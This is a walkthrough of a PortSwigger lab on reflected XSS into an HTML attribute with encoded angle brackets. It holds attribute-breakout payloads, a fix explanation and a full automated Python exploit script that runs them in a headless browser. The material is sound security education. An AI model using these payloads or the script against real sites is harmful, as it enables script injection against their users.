Reflected XSS into attribute with angle brackets HTML-encoded
Original lab: Reflected XSS into attribute with angle brackets HTML-encoded on PortSwigger ↗
The first reflected lab in this series had no encoding at all, so a plain <script> tag was enough. This lab adds the first real defense we've seen: angle brackets are HTML-encoded before the value is reflected. That single change breaks every payload that depends on injecting a new tag — but it doesn't help if the value is landing *inside* an existing tag's attribute rather than between tags, because an attacker doesn't need a new tag if they can add a new attribute to one that's already there.
The Target
The same search functionality as the earlier labs, but this time the search term is reflected as the value of an existing HTML attribute — an input field's value, based on where the response placed our probe string — rather than as text between tags.
The Investigation
We submitted a canary string and confirmed it was reflected, then probed with angle brackets and a double quote to see what the application does to each. The angle brackets came back as </> in the response — confirmed encoding, meaning <script> or any new-tag payload was off the table. The double quote, however, came back completely unescaped. That's the key detail: if the reflection point is inside a double-quoted attribute and the quote character itself isn't touched, we don't need angle brackets to break out — we just need to close the current attribute with a quote and open a new one.
The Exploit
We closed the existing attribute and added a new event-handler attribute in its place:
" onmouseover="alert(1)
Delivered as:
GET /?search=%22%20onmouseover%3D%22alert(1)
This turns the tag's opening from <input value="INPUT"> into <input value="" onmouseover="alert(1)"> — a syntactically valid tag with a brand-new onmouseover handler attached. No angle brackets were needed anywhere in the payload, so the encoding never came into play.
Comparing Notes: PortSwigger's Official Solution
PortSwigger's solution reaches the same payload through the same reasoning: submit a random string, observe it lands inside a quoted attribute, then replace it with "onmouseover="alert(1) to escape the attribute and inject an event handler, verifying by moving the mouse over the element to trigger onmouseover. This matches our approach exactly — same injection point, same technique, same payload. The one operational difference is how we confirmed execution: onmouseover requires an actual mouse event, so PortSwigger's manual walkthrough triggers it by hovering in the browser, while our automated pipeline used craft_xss_payload()'s attribute-context branch, which defaults to autofocus/onfocus specifically because that pair fires immediately on page load without any simulated mouse movement — a small but deliberate adaptation for headless automation.
What This Teaches Us
Encoding one dangerous character class doesn't close off every path into the page — it closes off the specific technique that character enables. Angle-bracket encoding stops an attacker from introducing a *new tag*, but it says nothing about attribute boundaries, and an attacker who can add attributes to an *existing* tag has just as much reach as one who can add a whole new element, since event-handler attributes execute arbitrary JavaScript. The actual fix has to encode every character that has meaning in the attribute's context — angle brackets for tag structure, but also the quote character delimiting the attribute itself — or better, avoid string-concatenating user input into attribute values at all in favor of a templating system that encodes correctly for whichever context the value lands in.
The automated solution
Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.
Show the solution script (Python)
#!/usr/bin/env python3
"""
Reflected XSS into attribute with angle brackets HTML-encoded
PortSwigger Web Security Academy — Cross-Site Scripting (XSS)
Companion script for the writeup: 07-reflected-xss-attribute-angle-brackets-encoded.md
What this does:
Confirms the search term lands inside a double-quoted HTML attribute
and that angle brackets are HTML-encoded but the quote character isn't,
then closes the attribute and injects a new event-handler attribute.
Note on payload choice: the writeup's "Exploit" section shows
`" onmouseover="alert(1)` to match PortSwigger's own manual walkthrough
(onmouseover fires when a human hovers the mouse over the element). Our
actual automated pipeline -- craft_xss_payload()'s attribute-context
branch -- uses `" autofocus onfocus="alert(1)` instead, exactly as the
writeup's "Comparing Notes" section explains: autofocus/onfocus fires
immediately on page load with no simulated mouse movement required,
which a headless browser can't reliably produce. This script implements
what our pipeline actually ran, not the mouse-driven variant.
Usage:
python 07-reflected-xss-attribute-angle-brackets-encoded.py <lab-url>
e.g. python 07-reflected-xss-attribute-angle-brackets-encoded.py https://0a1b00fa03d9c8b6803b56b400eb00d5.web-security-academy.net
Requirements:
pip install httpx
pip install playwright && playwright install chromium
"""
import re
import sys
import urllib.parse
import httpx
from playwright.sync_api import sync_playwright
CANARY = "xssCANARY7531"
def classify_and_craft(client: httpx.Client, lab_url: str) -> str:
"""Reproduces detect_reflected_xss() + craft_xss_payload()'s attribute-context branch."""
r = client.get(lab_url, params={"search": CANARY})
if CANARY not in r.text:
raise RuntimeError("canary not reflected in 'search' parameter")
if re.search(rf"<[^>]+{CANARY}", r.text, re.IGNORECASE):
context = "attribute"
else:
context = "html"
print(f"[+] Context classified as: {context}")
angle_encoded = False
r = client.get(lab_url, params={"search": f"{CANARY}<>"})
if "<" in r.text or ">" in r.text:
angle_encoded = True
print("[*] Angle brackets are HTML-encoded")
dbl_quote_encoded = False
r = client.get(lab_url, params={"search": f'{CANARY}"'})
if """ in r.text or """ in r.text:
dbl_quote_encoded = True
print("[*] Double quotes are HTML-encoded")
else:
print("[*] Double quotes are NOT encoded -- the attribute can be closed")
if context != "attribute":
raise RuntimeError(f"unexpected context for this lab: {context}")
if angle_encoded and dbl_quote_encoded:
payload = "' autofocus onfocus='alert(1)"
elif angle_encoded:
payload = '" autofocus onfocus="alert(1)' # fires headlessly, no mouse event needed
else:
payload = '"><script>alert(1)</script>'
return payload
def solve(lab_url: str) -> None:
client = httpx.Client(base_url=lab_url, follow_redirects=True, timeout=20)
client.get("/")
session = client.cookies.get("session", "")
domain = urllib.parse.urlparse(lab_url).netloc
payload = classify_and_craft(client, lab_url)
print(f"[*] Crafted payload: {payload}")
url = f"{lab_url}/?search={urllib.parse.quote(payload)}"
alert_fired = False
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
ctx = browser.new_context()
if session:
ctx.add_cookies([{"name": "session", "value": session, "domain": domain, "path": "/"}])
page = ctx.new_page()
def on_dialog(dialog):
nonlocal alert_fired
alert_fired = True
dialog.accept()
page.on("dialog", on_dialog)
try:
page.goto(url, wait_until="domcontentloaded", timeout=15000)
page.wait_for_timeout(3000)
except Exception:
pass
browser.close()
print(f"[{'+' if alert_fired else '-'}] alert() {'fired' if alert_fired else 'did NOT fire'}")
check = client.get("/")
if "Congratulations" in check.text:
print("[+] Lab solved.")
else:
print("[-] Not solved yet.")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <lab-url>")
sys.exit(1)
solve(sys.argv[1].rstrip("/"))
Related labs
- Reflected XSS into HTML context with nothing encoded
- Stored XSS into HTML context with nothing encoded
- DOM XSS in document.write sink using source location.search
- DOM XSS in innerHTML sink using source location.search
Want to go from zero to junior pentester?
These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.
Join the Free Live Webinar →